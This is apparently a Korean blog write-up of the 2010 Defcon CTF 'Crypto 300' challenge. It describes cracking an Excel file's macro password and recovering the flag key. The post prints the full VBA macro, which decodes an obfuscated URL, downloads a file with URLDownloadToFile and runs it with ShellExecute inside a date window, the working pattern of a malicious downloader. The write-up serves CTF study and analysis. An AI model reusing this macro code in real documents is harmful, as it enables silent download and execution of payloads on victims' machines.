[Crypto 300]
[문제설명]
문제에서 제공하는 엑셀파일을 다운받아 실행하면 VB로 만든 게임이 실행된다. 양이 기어다닌다.
예전에 유행했던 프로그램이었는데…..
실제 패킷 캡쳐를 해보면 서버에서 ram.exe파일을 받아 온다. Ram.exe를 실행해도 양이 기어다닌다. 하지만 결국 이 파일은 Fake이다.
문제 파일을 다운로드 후 Passware Password Recovery kit Forensic 툴 Version 9.0으로 엑셀파일의 메크로에 설정되어 있는 암호를 크랙함
기존의 c300_f75bec6f545034716.xls파일에 패스워드를 대입하면 열리지 않는다.
Unprotected file : c300_f75bec6f545034716-unprotected.xls 에서 Visual Basic Editor를 실행 “Y6HA1H”을 입력하면 project에서 소스코드를 확인할 수 있다.
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _ szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _ (ByVal hwnd As Long, _ ByVal lpOperation As String, _ ByVal lpFile As String, _ ByVal lpParameters As String, _ ByVal lpDirectory As String, _ ByVal nShowCmd As Long) As Long Private Sub GF() WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16") FL = X("51092F16535C6F003A56") RV = URLDownloadToFile(0, WL, FL, 0, 0) End Sub Private Sub EX() Dim OF As String On Error Resume Next UP = X("51092F") OF = X("40521E4A574924") RV = ShellExecute(0, "open", OF, "", UP, 3) End Sub Private Function X(DI As String) As String Dim CK, sDO As String Dim lDP, iXV1, iXV2 As Integer
On Error Resume Next
CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _ Worksheets("Data").Range("Z9550") For lDP = 1 To (Len(DI) / 2) iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2))) iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1)) sDO = sDO + Chr(iXV1 Xor iXV2) Next lDP X = sDO End Function Sub Rectangle1_Click() Asteroids.Show False Call MN End Sub Function KG() KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _ Worksheets("Sheet2").Range("E8761") End Function Sub MN() Dim SD As Date Dim ED As Date Dim CD As Date
' On Error Resume Next
SD = X("071C41571D03715472") ED = X("071C41521D03715472")
CD = Date
If (CD >= SD) And (CD < ED) Then Call GF Call EX End If End Sub |
Sheet2(Data)를 살펴보면 visible이 숨김으로 표시되어 있으므로 변경하여 활성화 시켜준다.
다음과 같이 Data 쉬트가 활성화 된다.
다음 CK 부분이 중요함
CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
Worksheets("Data").Range("Z9550")
-AU2-
-BE4866-
-Z9550-
Key : a23sd21AeB349sdfWewrfw29552
'Security > Defcon2010 CTF18' 카테고리의 다른 글
[CTF18] '2010 Defcon' My Team(0birthday) Score (0) | 2010.06.03 |
---|---|
[CTF18] Crypto Badness 100 (0) | 2010.05.31 |